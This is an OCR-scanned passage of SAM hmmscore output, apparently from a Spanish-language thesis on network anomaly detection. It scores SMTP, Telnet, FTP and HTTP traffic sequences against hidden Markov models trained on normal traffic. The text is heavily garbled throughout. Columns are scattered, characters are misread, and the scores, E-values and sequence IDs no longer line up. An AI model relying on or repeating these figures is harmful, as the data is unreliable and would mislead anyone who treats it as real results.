[FTPCTRL]211B184
[FTPCTRL]24221FE
[FTPCTRL]2421001
[Telnet] 260EFCF
[FTPDATA]2613CB7
[Telnet] 5E53EDO
[Telnet]24264BA
[Telnet]2614C46

[ 1242658B

260E7D2
2D665A0

Telnet

.07
.07
.55
.73
.73
.90
.82
.60
.86
.18
.45
.43
.46
.66
.66
.61
.80
.03
.29
.28
.70
.58
.32
.65
12
.64
.88
.88
.88
.88
.88
.88
.24
.27
.27
.30
.13
.84
.94
.30
.30
.89
.99
.99
.07
.07
.07
.07
.72
.20
.70
.70
.70
.70
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.81
.81
.81
.80
.80
.80
.80
.78
.75
.74
.72
.71
.71
.69
.69
.67
.65
.64
.63
.62
.61
.61
.59
.59
.57
.57
.56
.56
.56
.56
.56
.56
.55
.49
.49
.41
.40
.35
.34
.33
.33
.33
.32
.32
.30
.30
.30
.30
.30
.30
.28
.28
.28
.25

NNV NOMNMNNMNNNNMNNMNNNNR, R, R RRRRRRrERRRRRRRRRRRRRRERRPRPRERERRRRRRERERRRRER R

.53e+02
.53e+02
.53e+02
.53e+02
.53e+02
.54e+02
.54e+02
.55e+02
.58e+02
.59%9e+02
.60e+02
.61le+02
.62e+02
.63e+02
.63e+02
.65e+02
.67e+02
.67e+02
.69e+02
.69e+02
.70e+02
.71e+02
.72e+02
.73e+02
.74e+02
.74e+02
.76e+02
.76e+02
.76e+02
.76e+02
.76e+02
.76e+02
.76e+02
.82e+02
.82e+02
.90e+02
.91e+02
.97e+02
.98e+02
.99%e+02
.99%e+02
.99%e+02
.00e+02
.00e+02
.02e+02
.02e+02
.02e+02
.02e+02
.03e+02
.03e+02
.05e+02
.05e+02
.05e+02
.08e+02



Telnet]
Telnet]124263DB
Telnet]2423FA4
Telnet]540FE16
FTPCTRL]F30BCC6
FTPCTRL]24226E2
FTPCTRL] 8928FA
FTPDATA]ET7CFEDFD
Telnet]211D9%42
FTPDATA] 2D66AFE
FTPCTRL] 3C0C1B3
Telnet]2614F95
FTPCTRL] 3897037
FTPCTRL]24226E8
FTPCTRL] 88FEC9
FTPCTRL]89290B
FTPCTRL]8929C5
FTPCTRL]3898F08
FTPCTRL]211B129
FTPCTRL]B2435D
FTPCTRL] 3C0C22A

]

]

]

]

]

]

193E424

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[FTPCTRL] 3COE5C4
[FTPCTRL]242260B
[FTPCTRL] 3896FEA
[FTPCTRL] 38990406
[FTPDATA]2D6700E
[FTPDATA]3898172
[FTPDATA] 2D66BE2
[Telnet]5E53FEL
[Telnet]260EE11l
[Telnet]193E4B8
[Telnet]2614F57
[SMTP]2612D07
[SMTP]2D674DE
[SMTP]2610A7A
[SMTP]2612D0OE
[FTPCTRL]2D619EOQ
[FTPCTRL]B245DB
[Telnet]540FD38
[FTPDATA]24232FF
[ 8902A9
[

[

[

[

[

[

[

[

[

[

[

[

[

260E7B8

FTPCTRL
FTPCTRL
FTPCTRL]19000C79
FTPCTRL]24210B5
FTPCTRL]B207D6
Telnet]24240E4
Telnet]26148C8
FTPCTRL]260E869
FTPDATA]2423300
FTPCTRL]B20D07
FTPCTRL]B23F13
Telnet]5E549F8
Telnet]2D67ADF
SMTP]12610265

[ Y

& (GG QNGRS
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w www o U O
(G NG BENEENEEN B O T

51

.10
.22
1
.20
.03
.03
.03
.56
.29
.64
.58
.16
.56
.56
.56
.56
.56
.56
.56
.92
.92
.92
.92
.92
.92
.79
.79
.79
.84
.90
.90
.91
.37
.37
.37
.37
.32
.32
.91
.91
.32
.32
.32
.32
.32
.91
.91
.32
.24
.40
.01
.72
.97
.66
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.16
.13
.13
.13
.12
.12
.12
.04
.04
.04
.03
.02
.02
.02
.02
.02
.02
.02
.02
.02
.02
.02
.02
.02
.02
.01
.01
.01
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.01
.02
.03
.04
.04
.06

NN NN NDNDNNDNNDNNDNDNODNDNODNDNNDNDNDNDNNDNODNDNDNDNNDNNDNNDNDNDMNDNDNDNDNDNDNDNDMNDMNDNDNDMNDNDNDMNDMNDMDMNDMNDDNDNDNDDNDDNDDND

.21e+02
.25e+02
.25e+02
.25e+02
.26e+02
.26e+02
.26e+02
.40e+02
.40e+02
.40e+02
.42e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.44e+02
.45e+02
.45e+02
.45e+02
.49e+02
.49e+02
.49e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.54e+02
.57e+02
.58e+02
.60e+02
.60e+02
.64e+02



[Telnet]24210CF
[Telnet]211D81C
[Telnet]2616084
[Telnet]5E54157
[SMTP]2610283
[SMTP]2D66E6G7
[SMTP]2D66E6GG
[Telnet]2423E2A
[Telnet] 5SBDAADF
[SMTP]2612386
[SMTP]2613F3F
[SMTP] 260EAAE
[SMTP]260EAA4
[SMTP]2613EDA
[Telnet]B249B4
[FTPCTRL]3897B42
[FTPCTRL] 3792E236
[FTPCTRL]212060E
[FTPCTRL] 8928F8
[SMTP]2613F3E
[Telnet]242103F
[Telnet]1B2416D
[FTPCTRL]3C11474
[FTPCTRL] 3898E5SB
[FTPCTRL]3C116A4
[FTPCTRL]2D65B8D
[FTPCTRL]B245D6
[FTPCTRL]38990B9
[

[FTPCTRL] 88FAE9
[FTPCTRL]3C11349
[FTPCTRL]212060A
[FTPCTRL] 2D61CCA
[FTPCTRL]B2098A
[FTPCTRL]242102D
[SMTP]2D63EFF
[FTPDATA]2D66BEOD
[FTPDATA]2D6700C
[FTPCTRL]FB4FC37
[FTPCTRL]B24168
[Telnet]2421264
[Telnet]2421225
[Telnet]193E5F2
[SMTP]260F94F
[FTPDATA]2613CBB
[FTPDATA] 2D63FED
[FTPDATA] 3CODCDE
[FTPCTRL] 2EE3FE9
[ ]

[ ]

[
[
[
[

]
]
]
]
]
FTPCTRL] 3COE5D7
]
]
]
]
]

FTPCTRL]2D6633D
FTPCTRL] 2421034
FTPCTRL] 3896FCB
SMTP]2D6734D
Telnet]2420FE4
HTTP]1212044D

.88
.88
.88
.88
.84
.43
.43
.72
.72
.61
.59
.08
.16
.16
.12
.18
.18
12
12
.54
.81
.89
12
12
12
.72
.51
.56
.56
.56
.72
.92
.92
.92
.92
.62
.70
.70
.48
.48
.01
.01
.01
.23
.63
.63
.63
.23
.88
.88
.27
.18
.54
.47
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.08
.08
.08
.08
.12
.13
.13
.16
.16
.21
.30
.43
.45
.45
.55
.57
.57
.58
.58
.60
.61
.62
.71
.71
.71
.71
.71
12
12
12
.73
.74
.74
.74
.74
.76
.78
.78
.79
.79
.79
.79
.79
.82
.84
.84
.84
.84
.85
.85
.87
.89
.91
.92
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.68e+02
.68e+02
.68e+02
.68e+02
.74e+02
.75e+02
.75e+02
.79e+02
.79e+02
.86e+02
.98e+02
.12e+02
.13e+02
.13e+02
.24e+02
.26e+02
.26e+02
.26e+02
.26e+02
.29%9e+02
.29e+02
.31e+02
.38e+02
.38e+02
.38e+02
.38e+02
.39%e+02
.39%9e+02
.39%9e+02
.3%e+02
.41e+02
.42e+02
.42e+02
.42e+02
.42e+02
.43e+02
.44e+02
.44e+02
.45e+02
.45e+02
.46e+02
.46e+02
.46e+02
.48e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.52e+02
.53e+02
.55e+02
.56e+02



[SMTP]2613322
[SMTP]2D674A3
[SMTP]26128FF
[SMTP]261059E
[SMTP]2611D52
[SMTP]260EB11
[FTPCTRL]211B186
[FTPCTRL]B9C50E5
[SMTP]12612901
[SMTP]260E617
[SMTP]260E618
[FTPCTRL]3C1180A
[FTPCTRL]3C0C262
[FTPCTRL]34D344FA
[FTPCTRL]B20A82
[SMTP]2420336
[SMTP]260EAAD
[SMTP]1261238F
[SMTP]260E615
[SMTP]540DC13
[SMTP]260F94FE
[SMTP]2D6731E
[SMTP]2612CE9
[FTPCTRL]3C0C231
[Telnet]2420C2C
[SMTP]260F1C1
[SMTP]260F1C3
[HTTP]12612082
[SMTP]2D670D5
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

e e e e e

]
]
]
SMTP]2D674DD
SMTP]260EECD
Telnet]5E54A21
SMTP]260E6DB
SMTP]260E6DC
SMTP]260E6DA
FTPCTRL] 3897AC4
FTPCTRL] 3C0E433
SMTP]260F663
SMTP]26128FD
SMTP]260EECB
FTPDATA]3C10EQ7
Telnet]211D9A4
FTPCTRL]38990F0
FTPCTRL]2421056
FTPCTRL]2D617DA
Telnet]2421132
FTPDATA]2123B11
SMTP]2610A5C
SMTP]2612381
SMTP]2610A76
Telnet]2614D2A
SMTP]2D670D6
FTPCTRL] 3C0C1D1
SMTP]260E848

.17
.53
.53
.53
.57
.46
.91
.91
.53
.32
.32
.52
.52
.52
.52
.55
.95
.28
.34
.49
.24
.62
.69
.33
.09
.49
.49
.04
.23
.03
.23
.18
.23
.23
.23
.76
.76
.38
.61
.54
.83
.71
.39
.39
.43
.57
.66
.46
.23
.60
.71
.24
.11
.02
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.94
.97
.97
.97
.00
.06
.07
.07
.16
.22
.22
.22
.22
.22
.22
.23
.24
.24
.24
.24
.26
.26
.28
.31
.31
.32
.32
.32
.34
.38
.40
.44
.54
.54
.54
.58
.58
.58
.63
.66
.72
.79
.83
.83
.83
.84
.86
.90
.90
.92
.94
.01
.02
.07

SO S DD D DD DD D DD DD WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWwWwWwWwww

.57e+02
.59%9e+02
.59%9e+02
.59%9e+02
.62e+02
.66e+02
.67e+02
.67e+02
.73e+02
.77e+02
.77e+02
.77e+02
.77e+02
.77e+02
.77e+02
.78e+02
.78e+02
.78e+02
.78e+02
.79e+02
.80e+02
.80e+02
.81le+02
.83e+02
.83e+02
.83e+02
.83e+02
.84e+02
.85e+02
.87e+02
.89%9e+02
.91e+02
.96e+02
.96e+02
.96e+02
.99%e+02
.99%e+02
.99e+02
.01e+02
.03e+02
.06e+02
.09e+02
.11e+02
.11e+02
.11e+02
.12e+02
.13e+02
.14e+02
.14e+02
.16e+02
.16e+02
.20e+02
.20e+02
.22e+02



[Telnet]B2533E
[HTTP]212022B
[FTPCTRL] 88FC22
[FTPCTRL]21205D2
[FTPDATA]2D6700A
[FTPDATA]2D66BDE
[FTPCTRL] 2EE3F3C
[SMTP]261113D
[FTPCTRL]2EE47BD
[HTTP]212095E
[FTPDATA]3898170
[FTPDATA] 3CODCE4
[HTTP]1212044C
[HTTP]2120826
[Telnet]3898C6D
[FTPCTRL] 2422098
[FTPCTRL] 892A71
[FTPCTRL] 3C113BF
[Telnet]2617DE6
[Telnet]2D60C1B
[FTPDATA] 2D66BDC
[FTPDATA]2D67008
[FTPCTRL]2962B9C1
[HTTP]2611A39
[SMTP]261059F
[Telnet]24262AE
[SMTP]2D65B22
[SMTP]2D65B23
[FTPDATA] 3C0ODCDC
[FTPDATA]2613CB9
[FTPDATA] 2D63FEB
[Telnet] 5ES549F7
[FTPDATA]2D66BE1
[FTPDATA
[FTPDATA

2D6700D

]
12421038

51
51

51
51

36

51
51
51
51
51
51

51
51
51
51

51

51
36
36
51
51
51
51
51
51
51

7.5.4. MODELO SMTP

o°

o°

(c)

o o° o° o o°

o

R. Hughey,

o

o

K. Karplus,

oe

001.
A. Krogh et al.,

o N

SAM: hmmscore v3.5

A. Krogh,
Extension and analysis of the basic method, CABIOS 12:95-107,
What is the value added by human intervention in protein
Proteins:

et al.,
structure prediction,

Citations

-12.94 2.16
-14.43 2.39
-5.58 2.46
-5.58 2.46
-5.23 2.52
-5.23 2.52
-7.36 2.53
-11.63 2.88
-7.95 2.93
-14.40 2.94
-9.10 3.05
-9.10 3.05
-8.89 3.21
-15.06 3.35
-5.59 3.41
-7.98 3.43
-6.93 3.60
-6.93 3.60
-8.69 3.67
-4.44 3.70
-10.93 4.10
-10.93 4.10
-6.91 4.10
-11.45 4.56
-8.19 4.58
-5.13 4.79
-5.75 5.43
-5.75 6.27
-5.29 7.77
-5.29 7.77
-5.29 7.77
-20.70 9.13
-7.12 10.08
-7.12 10.08
-6.48 11.42

(SAM,

Stucture,

SAM-T2K, HMMs)
Hidden Markov models for sequence analysis:

Function,

.25e+02
.34e+02
.36e+02
.36e+02
.38e+02
.38e+02
.39%e+02
.49%e+02
.50e+02
.51e+02
.53e+02
.53e+02
.57e+02
.60e+02
.61le+02
.62e+02
.65e+02
.65e+02
.66e+02
.66e+02
.73e+02
.73e+02
.73e+02
.78e+02
.79%9e+02
.81le+02
.86e+02
.91e+02
.95e+02
.95e+02
.95e+02
.97e+02
.98e+02
.98e+02
.9%e+02

O D D DD D D D D DD D D D D D D DD D D DD DD D D DD DD DD

(July 15, 2005) compiled 07/19/05 11:12:12
1992-2001 Regents of the University of California,

Santa Cruz

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html

199¢6.

Genetics 45 (S5)

Hidden Markov models in computational biology:

o o°

oe

Applications to

Sat Sep 26 23:20:54 2009

normSMTP Host:

protein modeling,

Sheut

JMB 235:1501-1531,
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o

edsheut

o° 0 o o J° o° A° o oP

o\

Original

A° 00 o o A O° A A A A A O A A A A° A° o° o°

o

Sequence ID
SMTP]26128FF
SMTP]2D674A3
SMTP]261059E
SMTP]12610250
SMTP]260F1BE
SMTP]2613EDA
SMTP]260EAA4
SMTP]2D66E66
SMTP]12613322
SMTP]12610251
SMTP]2610A77
SMTP]12610265
SMTP]261238F
SMTP]260EB11
SMTP]12D674DD
SMTP]12612900
SMTP]260EAAE
SMTP]261113F
SMTP]2610A5C
SMTP]12613775
SMTP]260EAAS
SMTP]260F662

L B M e B R I e I I R R I R T e e e e B o)

Inserted Files:
Database Files:

Single Track Model:
Average encoding costs (nats)

(1.0000, 1.0000):
(0.6876, 2.4081):
(1.0000, 1.4099):
(1.0000, 1.0000):
Calibration data for 500 database sequences
165 of 500 scores > calibrate threshold (0)
viterbi single-path
(adpstyle
17947 residues,

Calibrated
Lambda fit
Not fitted

Score DP Method:
Align DP Method: viterbi
500 sequences,

Sequence scores selected:

Subsequence-submodel (local) (SW
Simple scores adjusted by +1.5*1n(seq len)
Track 0 FIMs added

/home/edsheut/TEST

SMTP.mod
normales.seq

2)

(adjust_score

= 2)

(geometric mean of match probabilities (6))

SMTP .mod

sequences:

All

for

(tau,

5.8617
3.8744
7.6036
5.8617

41 nodes,

= 1)

lambda)

settings:

used.

(dpstyle 1)

0.11 seconds

(select score=8)

Simple: NLL-NULL using FIM probabilities

Reverse: NLL-NULL for the reverse sequence NULL model
Calculated when Simple < simple threshold (10000.00)

E-value on N
N / (1 + exp(-(lambda(=2.4081)
Calculated when Simple < simple threshold (10000.00)
Rescale E-values or use -dbsize for multiple scoring runs.

Scores sorted by E-value,

best first
Length Simple
36 -25.51
36 -25.51
36 -25.51
36 -25.56
36 -25.83
36 -25.08
36 -25.08
51 -25.40
36 -25.41
36 -25.03
36 -24.79
36 -26.14
36 -25.05
36 -25.56
36 -26.86
36 -24.36
36 -25.29
36 -27.90
36 -25.63
36 -24.53
50 -24.53
36 -25.15

330

Reverse

-20
-20
-20
-20
-20
-19

-19

-19

-18
-18
-18

-18
-18
-18

.31
.31
.31
.30
.26
.89
-19.
-19.
-19.

89
85
52

.46
-19.
-19.
-19.
.03
-18.

22
18
04

99

.79
.76
.68
-18.

68

.52
.33
.28

* Reverse) "tau(=0.6876)))

X count



SMTP
SMTP
SMTP

12610A76
]
]
SMTP]2612381
]
]
]

261059F
26136D2

[

[

[

[

[SMTP]261113D
[SMTP]2D66E67
[SMTP]2D6731E
[SMTP]891E28
[FTPCTRL]2EE3A38
[SMTP]2613F3F
[SMTP]260F663
[SMTP]260F94F
[SMTP]260F94E
[SMTP]2D6734D
[SMTP]12612386
[FTPCTRL]FB4FC37
[FTPCTRL]B24168
[SMTP]2D670D5
[SMTP]540DC13
[SMTP]2613F3E
[SMTP]540DC12
[SMTP]260EES3
[FTPCTRL]2D61952
[FTPCTRL] 389702F
[SMTP]260E615
[SMTP]260E618
[SMTP]260E617
[FTPCTRL] 3897AC4
[SMTP]2611D52
[SMTP
[SMTP
[SMTP
[SMTP
[SMTP
[SMTP
[SMTP
[SMTP
[SMTP
[SMTP
[SMTP
[SMTP
[

[

[

[

[

[

[

[

[

[

[

[

[

2611D6B
260EEC9
260EECD
2611D9E
260E616
260EE77
2610A7A
2612D0E
2D674DE
260E6DA
260E6DB
260E6DC
SMTP]2612CE9
SMTP]260F1C1
SMTP]260F1C3
FTPCTRL]3C1180A
FTPCTRL]B20A82
FTPCTRL] 34D344FA
FTPCTRL] 3C0C262
SMTP]2613338
SMTP

]
]
]
]
]
]
]
]
]
]
]
]
]
]

12610283
SMTP]2611DCF
SMTP]261059C
SMTP]

SMTP]

260E84F
260EAAF

-24

-21

-21

=21

-21

-21.
-25.
-25.
-25.
-21.
-21.
-21.

=21

-24

-21

-21

.55
-24.
-24.
-24.
-24.
-24.
-24.
-24.
-25.
-23.
-24.
.89
-23.
-22.
-21.
-25.
-25.
-23.
-22.
-22.
-21.
-21.
-26.
-26.
-21.
-21.

86
86
81
46
56
14
02
60
00
34

88
13
78
79
79
56
09
73
80
80
30
30
73
50

.50
-26.
-21.
-21.
.64
-21.
-21.
.21

19
49
64

41
63

19
51
51
51
34
34
34

.50
-21.
-21.
-24.

31
31
97

.97
-24.
-24.
-23.
.48
-21.
-21.
.20
-21.

97
97
32

01
01

12
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-18.
-17.
-17.
-17.
-17.
-17.
-17.
-17.
-17.
-17.
-17.
-16.
-16.
-16.
-16.
-16.
-16.
-16.
-16.
-16.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
-15.
.22

-15

-15.
.91

-14

15
91
90
70
61
55
54
52
46
43
38
94
93
78
73
50
50
50
27
20
98
98
97
97
91
88
88
86
83
73
73
69
65
58
53
51
51
51
48
48
48
43
41
41
34
34
34
34
27
27
22

14
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.35e-04
.32e-04
.35e-04
.25e-04
.68e-04
.98e-04
.01le-03
.02e-03
.05e-03
.06e-03
.09e-03
.37e-03
.38e-03
.49e-03
.53e-03
.72e-03
.72e-03
.72e-03
.95e-03
.02e-03
.27e-03
.27e-03
.28e-03
.28e-03
.35e-03
.40e-03
.40e-03
.42e-03
.46e-03
.59%9e-03
.59%9e-03
.64e-03
.70e-03
.80e-03
.87e-03
.92e-03
.92e-03
.92e-03
.96e-03
.96e-03
.96e-03
.03e-03
.07e-03
.07e-03
.19e-03
.19%9e-03
.19%9e-03
.19e-03
.30e-03
.31e-03
.40e-03
.40e-03
.55e-03
.02e-03



SMTP
SMTP
SMTP
SMTP
SMTP
SMTP
SMTP

12611D51
]
]
]
]
]
]
SMTP]260EECB
]
]
]
]
]
]
]

2D6734E
26105E3
260F966
260F965
260E83B
260E6D9

[

[

[

[

[

[

[

[

[SMTP]2D670D6
[SMTP]260F1C2
[SMTP]260F1BF
[SMTP]26128F9
[SMTP]2610284
[SMTP]260E84E
[SMTP]2612383
[SMTP]2612901
[FTPCTRL]3C0E433
[SMTP]540DC17
[FTPCTRL]2D6634B
[FTPCTRL]2D662C7
[FTPCTRL]B24344
[FTPCTRL] 8928FA
[FTPCTRL]F30BCC6
[FTPCTRL]24226E2
[FTPCTRL]260E805
[FTPCTRL]211B186
[FTPCTRL]B9C50E5
[SMTP]891E29
[SMTP]2D65B23
[FTPCTRL]2D617DA
[FTPCTRL]2421056
[FTPCTRL] 38990F0
[SMTP]891E27
[SMTP]260E83D
[FTPCTRL]B20BEC
[FTPCTRL] 3897042
[FTPCTRL]3COE3BA
[FTPCTRL] 88FECO
[FTPCTRL]3898F08
[FTPCTRL]24226ES8
[FTPCTRL] 3897037
[FTPCTRL]
[FTPCTRL]
[FTPCTRL]
[FTPCTRL] 2EE3FEQ
[FTPCTRL]2421034
[FTPCTRL] 2D6633D
[SMTP]2612D07
[SMTP]540DC15
[FTPCTRL] 8928F8
[FTPCTRL
[FTPCTRL
[FTPCTRL
[

FTPCTRL

89290B
8929C5
211B129

212060E
3C11349
3C11474

]
]
]
]3C1l1l6A4

[ WNDNNDNDNDNDNDWDNDWNDDNDDNDDNDW
oo WwWwuohoy O JO OO O W

w o

N O

N W
Or o1 o1 O1 00 J OO OO OT O OO OO OO OO oYy OO0 o OO gl

=21

=21

=21

-24

-24

-24

-24
-24

-25
-25

-19.
-19.
-19.
-19.
-19.
-19.
-19.
-18.
-18.
-18.
.78
-20.
.79
-18.
-18.
.39
.39

-21

-18

-18
-18

.82
-20.
-20.
-20.
-20.
.71
-21.
-20.
-21.
-21.
-21.

96
95
84
84

67
23
65
64
64

.61
-21.
-21.
-21.
.35
-24.
-21.
-24.
-24.
.57
-25.
-25.
-25.
-24.
-24.
.80
-22.
-22.
-24.
.33
.33
-21.
-24.
-21.
.31
.31

59
59
57

67
56
57
57

95
95
95
96
80

31
64
71
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[FTPDATA]2613CBD
[FTPDATA]3CODCEO
[Telnet]2617DE6
[Telnet]8901FC
[HTTP]212022A
[HTTP]21204C3
[HTTP]2610376
[Telnet]2D672CB
[HTTP]212095F
[Telnet] 5E53E88
[HTTP] 334A07C
[Telnet]B25181
[Telnet]BlF63F
[Telnet]2D67664
[Telnet]B1F760
[Telnet]24240E4
[ 1242658B
[Telnet]2617CD7
[Telnet]26148C8
[Telnet] 5E540DF
[FTPDATA] 3CODCE3
[FTPDATA]389816F
[HTTP]21203A9
[Telnet]B253FD
[Telnet]2420DF8
[Telnet]2D60C1B
[ 12616084

Telnet

Telnet

25
51
24
51
51
51
48
51
51
51
51
51
51
36
36
36
36
51
51
51
36
51
51
51
36
51
51
51
51
51
51
28
51
51
51
24
51
25
51
51
51
51
51
51
51
51
51
51
51
21
51
51
51
51

.57
.82
.61
.67
.09
.09
.03
.07
.90
.56
.56
.56
.56
.83
.08
.19
.96
.31
.31
.36
.56
.76
.76
.22
.54
.09
.32
L1
L1
.88
.89
.36
.10
.35
.31
.41
.27
.37
.22
.22
.22
.22
.22
.22
.22
.22
.22
.20
.20
.64
.40
.40
.40
.40
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.00
.00
.00
.01
.01
.01
.01
.05
.05
.05
.05
.05
.05
.05
.05
.06
.06
.06
.06
.06
.06
.08
.08
.12
.15
.15
.17
.19
.19
.20
.23
.23
.24
.26
.31
.33
.35
.38
.40
.40
.40
.40
.40
.40
.40
.40
.40
.42
.42
.42
.43
.43
.43
.43
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.50e+02
.50e+02
.50e+02
.58e+02
.60e+02
.60e+02
.60e+02
.79%9e+02
.81le+02
.81le+02
.81le+02
.81le+02
.81le+02
.81le+02
.81le+02
.81le+02
.81le+02
.82e+02
.82e+02
.82e+02
.82e+02
.91e+02
.91e+02
.02e+02
.10e+02
.12e+02
.15e+02
.20e+02
.20e+02
.24e+02
.30e+02
.30e+02
.33e+02
.37e+02
.46e+02
.51e+02
.54e+02
.60e+02
.62e+02
.62e+02
.62e+02
.62e+02
.62e+02
.62e+02
.62e+02
.62e+02
.62e+02
.66e+02
.66e+02
.66e+02
.68e+02
.68e+02
.68e+02
.68e+02



FTPCTRL]
FTPDATA]2D63FEC
FTPDATA]2613CBA
FTPDATA]3C0ODCDD
Telnet]2420C2C
Telnet]193E424
FTPDATA]583D31
FTPDATA]2613FC4
FTPDATA]2613CB4
FTPDATA]26739D2B
FTPDATA]2D671A3
FTPDATA]2123B11
FTPCTRL] 892A71
FTPCTRL]3C113BF

]

]

]

]

]

3C0C231

[

[

[

[

[

[

[

[

[

[

[

[

[

[
[FTPDATA]2613CB5
[FTPDATA]2613FC5
[FTPDATA]583D32
[FTPDATA]2123B12
[FTPDATA]2D66BEO
[FTPDATA]2D6700C
[Telnet] 2421264
[Telnet]2421225
[Telnet]193E5F2
[HTTP]260EAE4
[HTTP]211FF1l6
[Telnet]1B2416D
[FTPCTRL] 3C0C1D1
[Telnet]24263DB
[FTPCTRL] 2EE3ECB
[FTPCTRL]21205D2
[FTPCTRL] 88FC22
[HTTP]2120826
[Telnet]193E55C
[FTPCTRL]2421001
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL
[FTPCTRL] 88FC1F
[FTPCTRL] 3COE54E
[FTPDATA]2613CB7
[HTTP]260E691
[FTPCTRL] 22A0CB3E
[FTPCTRL]2D662D0
[FTPCTRL]211B19F
[HTTP12120347

B23FDE

24221FE
211B184
3896FCB

[ O U S Y

5 -8.57
51 -3.42
51 -3.42
51 -3.42
51 -2.94
51 -2.94
51 -3.00
51 -3.00
51 -3.00
51 -3.00
51 -3.00
51 -3.00

5 -11.51

5 -11.51
51 -2.99
51 -2.99
51 -2.99
51 -2.94
51 -3.53
51 -3.53
51 -2.95
51 -2.95
51 -2.95
36 -5.33
51 -5.04
51 -1.14

4 -11.68
51 -2.40

5 -12.59

5 -7.38

5 -7.38
51 -3.45
51 -5.00

5 -12.24

5 -12.24

5 -12.24

5 -12.24

5 -12.48

5 -12.26

5 -12.26
51 -5.15
15 -5.98

5 -12.00

5 -12.00

5 -12.00
51 -4.02

7.5.5. MODELO TELNET
(July 15, 2005) compiled 07/19/05 11:12:12

o° o° od° o

oe

SAM: hmmscore v3.5
(c) 1992-2001 Regents of the University of California,
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.48
.54
.54
.54
.72
.72
.72
.72
.72
.72
.72
.72
.78
.78
.79
.79
.79
.84
.90
.90
.96
.96
.96
.99
.17
.20
.23
.32
.49
.67
.67
.71
17
.49
.49
.49
.49
.67
.73
.73
.13
.31
.34
.34
.34
.63

DO D D D D D D D D DS DD D D DD D D D D DD DD D D D D D DD D DD DS DD DD W W W W

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html

.76e+02
.84e+02
.84e+02
.84e+02
.06e+02
.06e+02
.06e+02
.06e+02
.06e+02
.06e+02
.06e+02
.06e+02
.12e+02
.12e+02
.13e+02
.13e+02
.13e+02
.18e+02
.23e+02
.23e+02
.28e+02
.28e+02
.28e+02
.30e+02
.42e+02
.44e+02
.46e+02
.51e+02
.59%9e+02
.65e+02
.65e+02
.87e+02
.88e+02
.93e+02
.93e+02
.93e+02
.93e+02
.94e+02
.95e+02
.95e+02
.96e+02
.97e+02
.97e+02
.97e+02
.97e+02
.99%e+02

Santa Cruz
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R. Hughey,

Extension and analysis of the basic method, CABIOS 12:95-107,
et al.,

K. Karplus,

Citations

(SAM,
A. Krogh, Hidden Markov models for sequence analysis:

SAM-T2K, HMMs)

1996.

What is the value added by human intervention in protein

structure prediction, Proteins: Stucture, Function, Genetics 45(S5):86--91,
2001.

A. Krogh et al., Hidden Markov models in computational biology:
Applications to protein modeling, JMB 235:1501-1531, Feb 1994.
normTelnet Host: Sheut Sat Sep 26 23:21:23 2009
edsheut Dir: /home/edsheut/TEST

Inserted Files: Telnet.mod

Database Files: normales.seq

Subsequence-submodel (local) (SW = 2)

Simple scores adjusted by +1.5*1n(seq len) (adjust score = 2)

Track 0 FIMs added (geometric mean of match probabilities (6))

Single Track Model: Telnet.mod

Average encoding costs (nats) for (tau, lambda) settings:

Original (1.0000, 1.0000): 4.0421
Calibrated (0.8748, 0.7147): 3.1078
Lambda fit (1.0000, 0.6114): 3.2383
Not fitted (1.0000, 1.0000): 4.0421

Calibration data for 500 database sequences

74 of 500 scores > calibrate threshold (0) used.

Score DP Method: viterbi single-path (dpstyle = 1)

Align DP Method: viterbi (adpstyle = 1)

500 sequences, 17947 residues, 49 nodes, 0.11 seconds

Sequence scores selected: All (select score=8)

Simple: NLL-NULL using FIM probabilities

Reverse: NLL-NULL for the reverse sequence NULL model

Calculated when Simple < simple threshold (10000.00)

E-value on N (=500) sequences:

N / (1 + exp(-(lambda (=0.7147) * Reverse)“tau(=0.8748)))
Calculated when Simple < simple threshold (10000.00)
Rescale E-values or use -dbsize for multiple scoring runs.

Scores sorted by E-value, best first

Sequence ID Length Simple Reverse E-value X count

Telnet]S5ES549F7 51 -29.83 -17.89 4.61le-02
Telnet]B21B22 51 -25.14 -16.21 9.92e-02
Telnet]2614F95 51 -27.04 -16.13 1.03e-01
Telnet]2D6745D 51 -29.78 -15.68 1.27e-01
Telnet]2614989 51 -24.87 -15.34 1.48e-01
Telnet] SBDAABG 51 -84.27 -14.21 2.51e-01
Telnet]5E54A21 51 -20.09 -13.83 2.99e-01
Telnet]211DAFS8 51 -19.60 -13.34 3.77e-01
Telnet]B2533E 51 -28.20 -13.28 3.89e-01
Telnet]3898C3E 51 -29.50 -13.15 4.12e-01
Telnet]2614EE4 51 -18.44 -12.56 5.46e-01

e e e e o o0
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Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet] 88FF20
SMTP]2420336
SMTP]260E6EQ
Telnet]5E54157
SMTP]2610A77
SMTP]261113F
Telnet]3898BE7
HTTP]12120828
Telnet]2616798
HTTP]21206EC
Telnet]211E7F3
HTTP]211FF1l6
Telnet]8901FC
Telnet]2617C71
Telnet]5E549F8
SMTP]2D65B22
Telnet] SE53FDE
Telnet]2423E05
Telnet]211D9%42

[ 2614D2A
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[Telnet]2D67ADF
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

211DSA4
2617DE6
88E1E2

260EF52
88EF06

24262AE
5BDA236

[ O S R

Telnet] 5BDA237
FTPCTRL]B20A82

